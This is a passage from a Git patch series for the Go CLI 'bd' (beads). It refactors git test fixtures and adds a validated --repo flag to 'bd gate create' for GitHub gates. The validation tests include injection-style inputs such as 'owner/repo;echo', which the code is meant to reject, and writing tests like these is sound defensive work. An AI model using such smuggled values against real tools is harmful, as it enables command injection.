Test\n", "initial commit") worktreePath := filepath.Join(t.TempDir(), "dirty-worktree") - cmd := exec.Command("git", "worktree", "add", worktreePath, "HEAD") + cmd := gitCommand("worktree", "add", worktreePath, "HEAD") cmd.Dir = repoRoot if output, err := cmd.CombinedOutput(); err != nil { t.Fatalf("failed to create worktree: %v\n%s", err, output) } t.Cleanup(func() { - cmd := exec.Command("git", "worktree", "remove", "--force", worktreePath) + cmd := gitCommand("worktree", "remove", "--force", worktreePath) cmd.Dir = repoRoot _ = cmd.Run() }) @@ -366,7 +365,7 @@ func initGitRepoForGitignoreTest(t *testing.T) string { t.Helper() repoRoot := t.TempDir() - cmd := exec.Command("git", "init") + cmd := gitCommand("init") cmd.Dir = repoRoot if output, err := cmd.CombinedOutput(); err != nil { t.Fatalf("failed to init git repo: %v\n%s", err, string(output)) @@ -384,12 +383,12 @@ func commitTestFile(t *testing.T, repoRoot, relPath, content, message string) { if err := os.WriteFile(path, []byte(content), 0644); err != nil { t.Fatalf("failed to write %s: %v", relPath, err) } - cmd := exec.Command("git", "add", relPath) + cmd := gitCommand("add", relPath) cmd.Dir = repoRoot if output, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git add %s failed: %v\n%s", relPath, err, output) } - cmd = exec.Command("git", "commit", "-m", message) + cmd = gitCommand("commit", "-m", message) cmd.Dir = repoRoot if output, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git commit failed: %v\n%s", err, output) diff --git a/cmd/bd/worktree_remove_test.go b/cmd/bd/worktree_remove_test.go index b30b3c8b3..e90095f67 100644 --- a/cmd/bd/worktree_remove_test.go +++ b/cmd/bd/worktree_remove_test.go @@ -85,7 +85,7 @@ func TestWorktreeRemoveProcessHelper(t *testing.T) { } func runWorktreeRemoveHookGit(dir string, args ...string) error { - command := exec.Command("git", args...) + command := gitCommand(args...) command.Dir = dir command.Env = append(scrubWorktreeGitRoutingEnv(os.Environ()), "GIT_CONFIG_GLOBAL="+os.DevNull, "GIT_CONFIG_SYSTEM="+os.DevNull, "GIT_CONFIG_NOSYSTEM=1", "GIT_NO_REPLACE_OBJECTS=1") output, err := command.CombinedOutput() @@ -444,7 +444,7 @@ func (fixture *worktreeRemovalFixture) assertRemovedAndCleaned(t *testing.T) { } func (fixture *worktreeRemovalFixture) git(t *testing.T, directory string, args ...string) string { t.Helper() - command := exec.Command("git", args...) + command := gitCommand(args...) command.Dir = directory command.Env = append(scrubWorktreeGitRoutingEnv(os.Environ()), "GIT_CONFIG_GLOBAL="+os.DevNull, "GIT_CONFIG_SYSTEM="+os.DevNull, "GIT_CONFIG_NOSYSTEM=1", "GIT_NO_REPLACE_OBJECTS=1") output, err := command.CombinedOutput() diff --git a/cmd/bd/worktree_test.go b/cmd/bd/worktree_test.go index 01f4d9c85..8ed97b4f8 100644 --- a/cmd/bd/worktree_test.go +++ b/cmd/bd/worktree_test.go @@ -315,7 +315,7 @@ func TestWorktreeCommandsIgnoreInheritedGitRoutingState(t *testing.T) { commitTestFile(t, decoyMain, "README.md", "linked decoy\n", "decoy commit") writeTestConfigYAML(t, filepath.Join(decoyMain, ".beads"), "json: [\n") decoyLane := filepath.Join(t.TempDir(), "linked-decoy") - command := exec.Command("git", "worktree", "add", "-b", "linked-decoy", decoyLane) + command := gitCommand("worktree", "add", "-b", "linked-decoy", decoyLane) command.Dir = decoyMain if output, err := command.CombinedOutput(); err != nil { t.Fatalf("create decoy linked worktree: %v\n%s", err, output) @@ -378,7 +378,7 @@ func decodeWorktreeCommandJSON(t *testing.T, output string, target any) { func gitWorktreeRegistry(t *testing.T, repoDir string) string { t.Helper() - command := exec.Command("git", "worktree", "list", "--porcelain") + command := gitCommand("worktree", "list", "--porcelain") command.Dir = repoDir output, err := command.CombinedOutput() if err != nil { @@ -416,7 +416,7 @@ func assertGitWorktreePaths(t *testing.T, repoDir string, want ...string) { func gitRevParsePath(t *testing.T, repoDir, selector string) string { t.Helper() - command := exec.Command("git", "rev-parse", selector) + command := gitCommand("rev-parse", selector) command.Dir = repoDir output, err := command.CombinedOutput() if err != nil { @@ -439,10 +439,10 @@ func TestResolveWorktreePathByName(t *testing.T) { if err := os.WriteFile(filepath.Join(mainDir, "README.md"), []byte("# Test\n"), 0644); err != nil { t.Fatalf("Failed to create test file: %v", err) } - cmd := exec.Command("git", "add", ".") + cmd := gitCommand("add", ".") cmd.Dir = mainDir _ = cmd.Run() - cmd = exec.Command("git", "commit", "-m", "Initial commit") + cmd = gitCommand("commit", "-m", "Initial commit") cmd.Dir = mainDir if output, err := cmd.CombinedOutput(); err != nil { t.Fatalf("Failed to create initial commit: %v\n%s", err, output) @@ -456,14 +456,14 @@ func TestResolveWorktreePathByName(t *testing.T) { // Create a worktree inside .worktrees/ worktreePath := filepath.Join(worktreesDir, "test-wt") - cmd = exec.Command("git", "worktree", "add", "-b", "test-wt", worktreePath) + cmd = gitCommand("worktree", "add", "-b", "test-wt", worktreePath) cmd.Dir = mainDir if output, err := cmd.CombinedOutput(); err != nil { t.Fatalf("Failed to create worktree: %v\n%s", err, output) } defer func() { // Cleanup worktree - cmd := exec.Command("git", "worktree", "remove", worktreePath, "--force") + cmd := gitCommand("worktree", "remove", worktreePath, "--force") cmd.Dir = mainDir _ = cmd.Run() }() diff --git a/internal/formula/parser_test.go b/internal/formula/parser_test.go index 28db99269..61e241ae6 100644 --- a/internal/formula/parser_test.go +++ b/internal/formula/parser_test.go @@ -28,7 +28,7 @@ func resetFormulaSearchTestContext(t *testing.T) { func runGitForFormulaTest(t *testing.T, dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir output, err := cmd.CombinedOutput() if err != nil { @@ -160,7 +160,7 @@ func TestDefaultSearchPaths_UsesResolvedBeadsDirForWorktree(t *testing.T) { worktreeDir := filepath.Join(root, "worktree") runGitForFormulaTest(t, mainRepo, "worktree", "add", worktreeDir, "HEAD") t.Cleanup(func() { - cmd := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + cmd := gitCommand("worktree", "remove", "--force", worktreeDir) cmd.Dir = mainRepo _ = cmd.Run() }) @@ -2287,3 +2287,14 @@ func TestParseJSON_StepMetadata(t *testing.T) { t.Errorf("Steps[0].Metadata[priority_level] = %v, want \"high\"", got) } } + +// noAutoMaintenance keeps a fixture's git commit from spawning the detached +// "git maintenance run --auto" child whose worktree-prune races the fixture's +// next "git worktree add" (gastownhall/beads#7314, #7349). Flags ride the +// command line, never env config: the routing-key scrub drops env config. +var noAutoMaintenance = []string{"-c", "maintenance.auto=false", "-c", "gc.auto=0"} + +// gitCommand builds a git command for a fixture with noAutoMaintenance applied. +func gitCommand(args ...string) *exec.Cmd { + return exec.Command("git", append(append([]string{}, noAutoMaintenance...), args...)...) +} diff --git a/internal/git/gitdir_test.go b/internal/git/gitdir_test.go index 4f0ba5210..bd5cdae84 100644 --- a/internal/git/gitdir_test.go +++ b/internal/git/gitdir_test.go @@ -17,25 +17,25 @@ func setupTestRepo(t *testing.T) (repoPath string, cleanup func()) { if err := os.MkdirAll(repoPath, 0750); err != nil { t.Fatalf("Failed to create test repo directory: %v", err) } - cmd := exec.Command("git", "init") + cmd := gitCommand("init") cmd.Dir = repoPath if output, err := cmd.CombinedOutput(); err != nil { t.Fatalf("Failed to init git repo: %v\nOutput: %s", err, string(output)) } - cmd = exec.Command("git", "config", "user.email", "test@example.com") + cmd = gitCommand("config", "user.email", "test@example.com") cmd.Dir = repoPath _ = cmd.Run() - cmd = exec.Command("git", "config", "user.name", "Test User") + cmd = gitCommand("config", "user.name", "Test User") cmd.Dir = repoPath _ = cmd.Run() beadsDir := filepath.Join(repoPath, ".beads") _ = os.MkdirAll(beadsDir, 0750) _ = os.WriteFile(filepath.Join(beadsDir, "test.jsonl"), []byte("test data\n"), 0644) _ = os.WriteFile(filepath.Join(repoPath, "other.txt"), []byte("other data\n"), 0644) - cmd = exec.Command("git", "add", ".") + cmd = gitCommand("add", ".") cmd.Dir = repoPath _ = cmd.Run() - cmd = exec.Command("git", "commit", "-m", "Initial commit") + cmd = gitCommand("commit", "-m", "Initial commit") cmd.Dir = repoPath _, _ = cmd.CombinedOutput() cleanup = func() {} @@ -220,7 +220,7 @@ func TestGetGitHooksDirTildeExpansion(t *testing.T) { ResetCaches() - cmd := exec.Command("git", "config", "core.hooksPath", tt.hooksPath) + cmd := gitCommand("config", "core.hooksPath", tt.hooksPath) cmd.Dir = subRepoPath if err := cmd.Run(); err != nil { t.Skipf("git config rejected core.hooksPath %q: %v", tt.hooksPath, err) @@ -279,7 +279,7 @@ func TestResolveHooksContext(t *testing.T) { cleanEnv := os.Environ() git := func(dir string, args ...string) string { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir, cmd.Env = dir, cleanEnv out, err := cmd.CombinedOutput() if err != nil { @@ -500,3 +500,14 @@ func TestResolveHooksContext(t *testing.T) { check(t, link, cleanEnv, selected, filepath.Join(canonical(selected), ".git", "hooks")) }) } + +// noAutoMaintenance keeps a fixture's git commit from spawning the detached +// "git maintenance run --auto" child whose worktree-prune races the fixture's +// next "git worktree add" (gastownhall/beads#7314, #7349). Flags ride the +// command line, never env config: the routing-key scrub drops env config. +var noAutoMaintenance = []string{"-c", "maintenance.auto=false", "-c", "gc.auto=0"} + +// gitCommand builds a git command for a fixture with noAutoMaintenance applied. +func gitCommand(args ...string) *exec.Cmd { + return exec.Command("git", append(append([]string{}, noAutoMaintenance...), args...)...) +} diff --git a/internal/storage/domain/git/git_test.go b/internal/storage/domain/git/git_test.go index 8c368ec53..e3d30fe96 100644 --- a/internal/storage/domain/git/git_test.go +++ b/internal/storage/domain/git/git_test.go @@ -348,7 +348,7 @@ func TestRoleConfigIgnoresInheritedGitRouting(t *testing.T) { } runGit := func(t *testing.T, dir string, args ...string) string { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir, cmd.Env = dir, gitenv.ScrubRouting(os.Environ()) out, err := cmd.CombinedOutput() require.NoError(t, err, "fixture git %v: %s", args, out) @@ -441,7 +441,7 @@ func TestRoleConfigKeySpellingTakesScrubbedPath(t *testing.T) { } runGit := func(t *testing.T, dir string, args ...string) string { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir, cmd.Env = dir, gitenv.ScrubRouting(os.Environ()) out, err := cmd.CombinedOutput() require.NoError(t, err, "fixture git %v: %s", args, out) @@ -487,7 +487,7 @@ func TestInitGitRepositoryUsesSelectedDirectory(t *testing.T) { } runGit := func(dir string, args ...string) string { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir, cmd.Env = dir, gitenv.ScrubRouting(os.Environ()) out, err := cmd.CombinedOutput() require.NoError(t, err, "fixture git %v: %s", args, out) @@ -600,7 +600,7 @@ func TestInitGitRepositoryRoleIgnoresInheritedConfigSuppression(t *testing.T) { require.NoError(t, os.WriteFile(filepath.Join(home, ".gitconfig"), []byte("[beads]\n\trole = contributor\n"), 0600)) // No local role in the target: the global file is the only place the answer // can come from, so blinding it is visible as a miss. - initCmd := exec.Command("git", "init", "--quiet") + initCmd := gitCommand("init", "--quiet") initCmd.Dir, initCmd.Env = target, gitenv.ScrubRouting(os.Environ()) out, err := initCmd.CombinedOutput() require.NoError(t, err, "fixture git init: %s", out) @@ -625,3 +625,14 @@ func TestInitGitRepositoryRoleIgnoresInheritedConfigSuppression(t *testing.T) { }) } } + +// noAutoMaintenance keeps a fixture's git commit from spawning the detached +// "git maintenance run --auto" child whose worktree-prune races the fixture's +// next "git worktree add" (gastownhall/beads#7314, #7349). Flags ride the +// command line, never env config: the routing-key scrub drops env config. +var noAutoMaintenance = []string{"-c", "maintenance.auto=false", "-c", "gc.auto=0"} + +// gitCommand builds a git command for a fixture with noAutoMaintenance applied. +func gitCommand(args ...string) *exec.Cmd { + return exec.Command("git", append(append([]string{}, noAutoMaintenance...), args...)...) +} From b485a0975edf0f9e47854ecfce4f0143349d798d Mon Sep 17 00:00:00 2001 From: Bee Date: Thu, 8 Oct 2026 08:02:46 +0000 Subject: [PATCH 168/325] feat(gate): bd gate create --repo names the repository a gh:run/gh:pr gate is checked in (#7176) * feat(gate): bd gate create --repo names the repository a gh:run/gh:pr gate is checked in A gh:pr gate for a PR in another repository could only be pointed there through the blocked issue's metadata.repo; with none, `bd gate check` resolved the bare number against the current repository and escalated "pull request not found" on every check, with nothing in the text saying which repository it had looked in. Five gates armed that way on 2026-10-03 never released after their PRs merged. - `--repo OWNER/REPO` (or HOST/OWNER/REPO) on `bd gate create`: an explicit value wins over the inherited one; it goes through the same validator as metadata.repo (now `validateGitHubRepo`, split out of `githubRepoFromIssue`); it is refused on human/timer/bead gates, where nothing would read it. Both create routes call one helper, `gateMetadataForCreate`, so the flag cannot drift between them. - The gh:pr not-found escalation reason names the repository the number was resolved against ("pull request not found: #42 in owner/repo" or "... in the current repository"). - Help text, docs/workflows/gates.md and the plugin's ASYNC_GATES.md say when the flag is needed. docs/cli-reference is pinned to the release and regenerates on its own. Tests: TestGateMetadataForCreateExplicitRepo, TestCheckGHPRNotFoundNamesTheRepository (unit); TestEmbeddedGateCreate/create_gate_with_repo + /repo_flag_on_human_gate_is_refused (embedded); TestProxiedServerGateCreateInheritsRepoMetadata/explicit_repo_flag_wins_over_inherited (proxied). Refs ghosttrack/wyvern wy-2jh4v5. Co-Authored-By: Claude Fable 5.1 * fix(gate): keep the create --repo workspace bypass off bd gate create The root pre-run bypass for `bd create --repo` (GH#3686) matched the leaf name "create", so `bd gate create --repo` outside a workspace took it: an OWNER/REPO slug opened a stray ./OWNER/REPO/.beads workspace under the cwd and failed with "issue not found", and an https:// URL skipped store wiring and panicked on the nil store. Key the bypass on the command path, as proxy_capability.go already does; gate create now fails with "no beads database found" outside a workspace like every other command, and top-level create --repo (local path and remote URL) still takes the bypass. Also name the repository in the gh:run not-found escalation, as the gh:pr one already does. Only stderr with a lowercase "not found" reaches that arm: real gh reports a missing run as "HTTP 404: Not Found ()", which takes the existing error path, and that URL already names the repository. The match stays case-sensitive because a token without access to the repository gets the same 404. Tests: TestEmbeddedCreateRepoFromNonBeadsCwd/gate_create_repo_flag_is_not_a_workspace (slug and URL forms, built binary run from an empty cwd) and the cross_repo/current_repo subtests of TestCheckGHRunNotFoundNamesTheRepository fail with the fixes reverted. Its real_gh_404_names_the_repository subtest feeds gh's real 404 stderr and fails if the match is widened. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Fable 5.1 Co-authored-by: Eddie the Engineer --- .../create_repo_no_cwd_beads_embedded_test.go | 35 ++++ cmd/bd/gate.go | 71 ++++++- cmd/bd/gate_embedded_test.go | 43 ++++ ...gate_lifecycle_proxied_integration_test.go | 20 ++ cmd/bd/gate_proxied_server.go | 4 +- cmd/bd/gate_test.go | 188 ++++++++++++++++++ cmd/bd/main.go | 7 +- docs/workflows/gates.md | 19 +- .../skills/beads/resources/ASYNC_GATES.md | 1 + 9 files changed, 375 insertions(+), 13 deletions(-) diff --git a/cmd/bd/create_repo_no_cwd_beads_embedded_test.go b/cmd/bd/create_repo_no_cwd_beads_embedded_test.go index 48fc863c9..2bb93e484 100644 --- a/cmd/bd/create_repo_no_cwd_beads_embedded_test.go +++ b/cmd/bd/create_repo_no_cwd_beads_embedded_test.go @@ -4,6 +4,7 @@ package main import ( "os" + "os/exec" "strings" "testing" ) @@ -65,4 +66,38 @@ func TestEmbeddedCreateRepoFromNonBeadsCwd(t *testing.T) { t.Errorf("expected 'no beads database found' error, got:\n%s", out) } }) + + t.Run("gate_create_repo_flag_is_not_a_workspace", func(t *testing.T) { + // The --repo bypass is for top-level create only. `bd gate create + // --repo` names the GitHub repository a gh:run/gh:pr gate is checked + // in, so outside a workspace it must fail like any other command. + // While the bypass matched the leaf name "create", the slug form + // opened a stray ./owner/repo/.beads workspace under the cwd and the + // URL form panicked on the nil store. + for _, tc := range []struct{ name, repo string }{ + {"slug", "owner/repo"}, + {"url", "https://github.com/owner/repo"}, + } { + t.Run(tc.name, func(t *testing.T) { + noBeadsCwd := t.TempDir() + cmd := exec.Command(bd, "gate", "create", "--type=gh:pr", "--blocks", "bd-abc", "--await-id=42", "--repo", tc.repo) + cmd.Dir = noBeadsCwd + cmd.Env = bdEnv(t.TempDir()) + out, err := cmd.CombinedOutput() + if err == nil { + t.Fatalf("bd gate create --repo %s succeeded outside a workspace:\n%s", tc.repo, out) + } + if !strings.Contains(string(out), "no beads database found") || strings.Contains(string(out), "panic") { + t.Errorf("expected 'no beads database found' error, got:\n%s", out) + } + entries, readErr := os.ReadDir(noBeadsCwd) + if readErr != nil { + t.Fatal(readErr) + } + if len(entries) != 0 { + t.Errorf("bd gate create wrote into the cwd: %d entries, first %q", len(entries), entries[0].Name()) + } + }) + } + }) } diff --git a/cmd/bd/gate.go b/cmd/bd/gate.go index cd546de93..f7c429d08 100644 --- a/cmd/bd/gate.go +++ b/cmd/bd/gate.go @@ -309,11 +309,15 @@ Gate types: gh:run - Waits for GitHub Actions workflow gh:pr - Waits for PR merge +gh:run and gh:pr gates are checked in the current Git repository unless +--repo names another, or the blocked issue carries a metadata.repo value. + Examples: bd gate create --blocks bd-abc bd gate create --type=human --blocks bd-abc --reason="Need design review" bd gate create --type=timer --blocks bd-abc --timeout=2h bd gate create --type=gh:pr --blocks bd-abc --await-id=42 + bd gate create --type=gh:pr --blocks bd-abc --await-id=42 --repo=owner/other-repo bd gate create --blocks bd-abc --title="Gate: awaiting owner sign-off"`, SilenceUsage: true, SilenceErrors: true, @@ -343,9 +347,9 @@ Examples: } gate := buildGateIssue(in, targetIssue.ID) - metadata, metaErr := repoMetadataForGate(in.gateType, targetIssue) + metadata, metaErr := gateMetadataForCreate(in, targetIssue) if metaErr != nil { - return HandleErrorRespectJSON("invalid GitHub repository metadata on %s: %v", targetIssue.ID, metaErr) + return HandleErrorRespectJSON("%v", metaErr) } gate.Metadata = metadata @@ -383,6 +387,7 @@ type gateCreateInput struct { gateType string reason string awaitID string + repo string titleFlag string timeout time.Duration } @@ -393,6 +398,7 @@ func gatherGateCreateInput(cmd *cobra.Command) (gateCreateInput, error) { in.gateType, _ = cmd.Flags().GetString("type") in.reason, _ = cmd.Flags().GetString("reason") in.awaitID, _ = cmd.Flags().GetString("await-id") + in.repo, _ = cmd.Flags().GetString("repo") in.titleFlag, _ = cmd.Flags().GetString("title") timeoutStr, _ := cmd.Flags().GetString("timeout") if timeoutStr != "" { @@ -891,6 +897,14 @@ func githubRepoFromIssue(issue *types.Issue) (string, error) { return "", nil } + return validateGitHubRepo(repo) +} + +// validateGitHubRepo accepts an OWNER/REPO or HOST/OWNER/REPO selector made of +// the characters GitHub allows in those path components, and nothing else: +// the value is passed to `gh --repo`, so a stray shell or URL character is +// rejected here rather than reaching a subprocess argument. +func validateGitHubRepo(repo string) (string, error) { parts := strings.Split(repo, "/") if len(parts) != 2 && len(parts) != 3 { return "", fmt.Errorf("repo %q must use OWNER/REPO or HOST/OWNER/REPO", repo) @@ -944,6 +958,38 @@ func repoMetadataForGate(gateType string, targetIssue *types.Issue) (json.RawMes return metadata, nil } +// gateMetadataForCreate computes the metadata for a new ad-hoc gate from the +// parsed flags: an explicit --repo wins, otherwise the gate inherits the +// blocked issue's validated metadata.repo (repoMetadataForGate). Both create +// routes call this so the flag cannot drift between them. +// +// --repo is only meaningful on gh:* gates, whose check runs against a GitHub +// repository; on any other type it is refused rather than stored, because a +// repo selector nothing reads would look like a working cross-repo gate. +// Errors are fully worded here (they name the flag or the blocked issue) so +// the callers print them as-is. +func gateMetadataForCreate(in gateCreateInput, targetIssue *types.Issue) (json.RawMessage, error) { + if in.repo == "" { + metadata, err := repoMetadataForGate(in.gateType, targetIssue) + if err != nil { + return nil, fmt.Errorf("invalid GitHub repository metadata on %s: %w", targetIssue.ID, err) + } + return metadata, nil + } + if !isGitHubGateType(in.gateType) { + return nil, fmt.Errorf("--repo applies only to gh:run and gh:pr gates, not %q", in.gateType) + } + repo, err := validateGitHubRepo(in.repo) + if err != nil { + return nil, fmt.Errorf("--repo: %w", err) + } + metadata, err := json.Marshal(map[string]string{"repo": repo}) + if err != nil { + return nil, err + } + return metadata, nil +} + // queryGitHubRunsForWorkflow queries recent runs for a specific workflow using gh CLI. // Returns runs sorted newest-first (GitHub API default). func queryGitHubRunsForWorkflow(workflow string, limit int) ([]GHWorkflowRun, error) { @@ -1085,7 +1131,16 @@ func checkGHRunStatusInRepoWithRunner(runID, repo string, runGH ghCommandRunner) } // Check if run not found if strings.Contains(string(stderr), "not found") { - return false, true, "workflow run not found", nil + // Name the repository, as checkGHPRWithRunner does. Real gh + // reports a missing run as "HTTP 404: Not Found ()", + // which this case-sensitive match skips: that returns the error + // below, whose URL names the repository. Keep the match narrow; a + // token without access to the repository gets the same 404. + where := "the current repository" + if repo != "" { + where = repo + } + return false, true, fmt.Sprintf("workflow run not found: %s in %s", runID, where), nil } return false, false, "", fmt.Errorf("gh run view failed: %s", string(stderr)) } @@ -1146,7 +1201,14 @@ func checkGHPRWithRunner(gate *types.Issue, runGH ghCommandRunner) (resolved, es } // Check if PR not found if strings.Contains(string(stderr), "not found") || strings.Contains(string(stderr), "Could not resolve") { - return false, true, "pull request not found", nil + // Name the repository the number was resolved against: a gate + // armed for another repository without metadata.repo escalates + // here on every check, and the bare text never said why. + where := "the current repository" + if repo != "" { + where = repo + } + return false, true, fmt.Sprintf("pull request not found: #%s in %s", gate.AwaitID, where), nil } return false, false, "", fmt.Errorf("gh pr view failed: %s", string(stderr)) } @@ -1299,6 +1361,7 @@ func init() { gateCreateCmd.Flags().StringP("type", "t", "human", "Gate type (human, timer, gh:run, gh:pr)") gateCreateCmd.Flags().StringP("reason", "r", "", "Reason for the gate") gateCreateCmd.Flags().String("await-id", "", "Condition identifier (run ID, PR number, etc.)") + gateCreateCmd.Flags().String("repo", "", "GitHub repository the gh:run/gh:pr condition is checked in (OWNER/REPO or HOST/OWNER/REPO); default: the blocked issue's metadata.repo, else the current repository") gateCreateCmd.Flags().String("timeout", "", "Timeout duration (e.g., 2h, 30m)") gateCreateCmd.Flags().String("title", "", "Custom gate title (default: \"Gate: \")") _ = gateCreateCmd.MarkFlagRequired("blocks") diff --git a/cmd/bd/gate_embedded_test.go b/cmd/bd/gate_embedded_test.go index 107a4ff0e..27f58216f 100644 --- a/cmd/bd/gate_embedded_test.go +++ b/cmd/bd/gate_embedded_test.go @@ -468,6 +468,49 @@ func TestEmbeddedGateCreate(t *testing.T) { } }) + t.Run("create_gate_with_repo", func(t *testing.T) { + task := bdCreate(t, bd, dir, "Task for cross-repo PR gate", "--type", "task") + + cmd := exec.Command(bd, "gate", "create", "--blocks", task.ID, + "--type", "gh:pr", "--await-id", "7173", "--repo", "gastownhall/beads", "--json") + cmd.Dir = dir + cmd.Env = bdEnv(dir) + stdout, stderr, err := runCommandBuffers(t, cmd) + if err != nil { + t.Fatalf("bd gate create --repo failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdout.String(), stderr.String()) + } + + var gate types.Issue + s := strings.TrimSpace(stdout.String()) + start := strings.Index(s, "{") + if err := json.Unmarshal([]byte(s[start:]), &gate); err != nil { + t.Fatalf("parse gate JSON: %v\n%s", err, s) + } + var m map[string]string + if err := json.Unmarshal(gate.Metadata, &m); err != nil { + t.Fatalf("gate metadata %s is not a string map: %v", gate.Metadata, err) + } + if m["repo"] != "gastownhall/beads" { + t.Errorf("gate metadata repo = %q, want gastownhall/beads", m["repo"]) + } + }) + + t.Run("repo_flag_on_human_gate_is_refused", func(t *testing.T) { + task := bdCreate(t, bd, dir, "Task for human gate", "--type", "task") + + cmd := exec.Command(bd, "gate", "create", "--blocks", task.ID, + "--type", "human", "--repo", "gastownhall/beads") + cmd.Dir = dir + cmd.Env = bdEnv(dir) + stdout, stderr, err := runCommandBuffers(t, cmd) + if err == nil { + t.Fatalf("--repo on a human gate must be refused; got:\n%s", stdout.String()) + } + if combined := stdout.String() + stderr.String(); !strings.Contains(combined, "--repo applies only to gh:run and gh:pr gates") { + t.Errorf("refusal text missing from output:\n%s", combined) + } + }) + t.Run("create_gate_blocks_ready", func(t *testing.T) { // Use a fresh db so ready output isn't polluted by other subtests freshDir, freshBeads, _ := bdInit(t, bd, "--prefix", "gr") diff --git a/cmd/bd/gate_lifecycle_proxied_integration_test.go b/cmd/bd/gate_lifecycle_proxied_integration_test.go index 78f91262c..f0f37a8b9 100644 --- a/cmd/bd/gate_lifecycle_proxied_integration_test.go +++ b/cmd/bd/gate_lifecycle_proxied_integration_test.go @@ -320,6 +320,26 @@ func TestProxiedServerGateCreateInheritsRepoMetadata(t *testing.T) { } }) + t.Run("explicit_repo_flag_wins_over_inherited", func(t *testing.T) { + target := bdProxiedCreate(t, bd, p.dir, "Gated bead with its own repo", + "--metadata", `{"repo":"acme/widgets"}`) + + out, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, + "gate", "create", "--type=gh:pr", "--await-id", "7173", "--repo", "gastownhall/beads", "--blocks", target.ID) + if err != nil { + t.Fatalf("gate create --repo failed: %v\nstderr:\n%s", err, stderr) + } + gateID := parseCreatedGateID(t, out) + + var m map[string]string + if err := json.Unmarshal(showMetadata(t, gateID), &m); err != nil { + t.Fatalf("gate %s metadata is not a string map: %v", gateID, err) + } + if m["repo"] != "gastownhall/beads" { + t.Errorf("gate %s metadata repo = %q, want the flag's gastownhall/beads over the inherited acme/widgets", gateID, m["repo"]) + } + }) + t.Run("human_gate_ignores_repo_shaped_metadata", func(t *testing.T) { // SF4 parity: "repo" is legal, unrelated metadata on any issue, so a // human gate must neither validate nor inherit it. diff --git a/cmd/bd/gate_proxied_server.go b/cmd/bd/gate_proxied_server.go index d8bc1b34f..bf028cc8a 100644 --- a/cmd/bd/gate_proxied_server.go +++ b/cmd/bd/gate_proxied_server.go @@ -341,9 +341,9 @@ func runGateCreateProxiedServer(cmd *cobra.Command, ctx context.Context) error { } gate := buildGateIssue(in, target.ID) - metadata, metaErr := repoMetadataForGate(in.gateType, target) + metadata, metaErr := gateMetadataForCreate(in, target) if metaErr != nil { - return out, "", fmt.Errorf("invalid GitHub repository metadata on %s: %v", target.ID, metaErr) + return out, "", metaErr } gate.Metadata = metadata diff --git a/cmd/bd/gate_test.go b/cmd/bd/gate_test.go index 6b3637403..efe5f1c69 100644 --- a/cmd/bd/gate_test.go +++ b/cmd/bd/gate_test.go @@ -1267,3 +1267,191 @@ func gateIDs(gs []*types.Issue) []string { } return ids } + +func TestGateMetadataForCreateExplicitRepo(t *testing.T) { + inherited := &types.Issue{ID: "bd-target", Metadata: json.RawMessage(`{"repo":"acme/inherited"}`)} + decodeRepo := func(t *testing.T, metadata json.RawMessage) string { + t.Helper() + var decoded struct { + Repo string `json:"repo"` + } + if err := json.Unmarshal(metadata, &decoded); err != nil { + t.Fatalf("metadata %s is not valid JSON: %v", metadata, err) + } + return decoded.Repo + } + + t.Run("explicit_repo_wins_over_inherited", func(t *testing.T) { + metadata, err := gateMetadataForCreate(gateCreateInput{gateType: "gh:pr", repo: "gastownhall/beads"}, inherited) + if err != nil { + t.Fatalf("gateMetadataForCreate returned error: %v", err) + } + if got := decodeRepo(t, metadata); got != "gastownhall/beads" { + t.Fatalf("repo = %q, want gastownhall/beads (the flag, not the blocked issue's value)", got) + } + }) + + t.Run("no_flag_inherits", func(t *testing.T) { + metadata, err := gateMetadataForCreate(gateCreateInput{gateType: "gh:run"}, inherited) + if err != nil { + t.Fatalf("gateMetadataForCreate returned error: %v", err) + } + if got := decodeRepo(t, metadata); got != "acme/inherited" { + t.Fatalf("repo = %q, want the inherited acme/inherited", got) + } + }) + + t.Run("no_flag_no_metadata_is_nil", func(t *testing.T) { + metadata, err := gateMetadataForCreate(gateCreateInput{gateType: "gh:pr"}, &types.Issue{ID: "bd-plain"}) + if err != nil { + t.Fatalf("gateMetadataForCreate returned error: %v", err) + } + if metadata != nil { + t.Fatalf("metadata = %s, want nil (current repository)", metadata) + } + }) + + t.Run("inherited_error_names_the_blocked_issue", func(t *testing.T) { + _, err := gateMetadataForCreate(gateCreateInput{gateType: "gh:pr"}, &types.Issue{ID: "bd-bad", Metadata: json.RawMessage(`{"repo":"owner/repo;echo"}`)}) + if err == nil { + t.Fatal("malformed inherited metadata.repo must fail closed") + } + if !strings.Contains(err.Error(), "invalid GitHub repository metadata on bd-bad") { + t.Fatalf("error %q does not name the blocked issue's metadata", err) + } + }) + + t.Run("invalid_explicit_repo_is_rejected", func(t *testing.T) { + for _, bad := range []string{"not-owner-slash-repo", "owner/repo;echo", "owner//repo", "https://github.com/owner/repo"} { + _, err := gateMetadataForCreate(gateCreateInput{gateType: "gh:pr", repo: bad}, inherited) + if err == nil { + t.Errorf("--repo %q accepted, want validation error", bad) + continue + } + if !strings.Contains(err.Error(), "--repo") { + t.Errorf("error for --repo %q does not name the flag: %v", bad, err) + } + } + }) + + t.Run("host_form_is_accepted", func(t *testing.T) { + metadata, err := gateMetadataForCreate(gateCreateInput{gateType: "gh:run", repo: "ghe.example.com/acme/widgets"}, nil) + if err != nil { + t.Fatalf("HOST/OWNER/REPO rejected: %v", err) + } + if got := decodeRepo(t, metadata); got != "ghe.example.com/acme/widgets" { + t.Fatalf("repo = %q", got) + } + }) + + t.Run("non_github_type_refuses_the_flag", func(t *testing.T) { + for _, gateType := range []string{"human", "timer", "bead"} { + _, err := gateMetadataForCreate(gateCreateInput{gateType: gateType, repo: "acme/widgets"}, inherited) + if err == nil { + t.Errorf("--repo on a %s gate accepted, want refusal (nothing would read it)", gateType) + continue + } + if !strings.Contains(err.Error(), "--repo applies only to gh:run and gh:pr 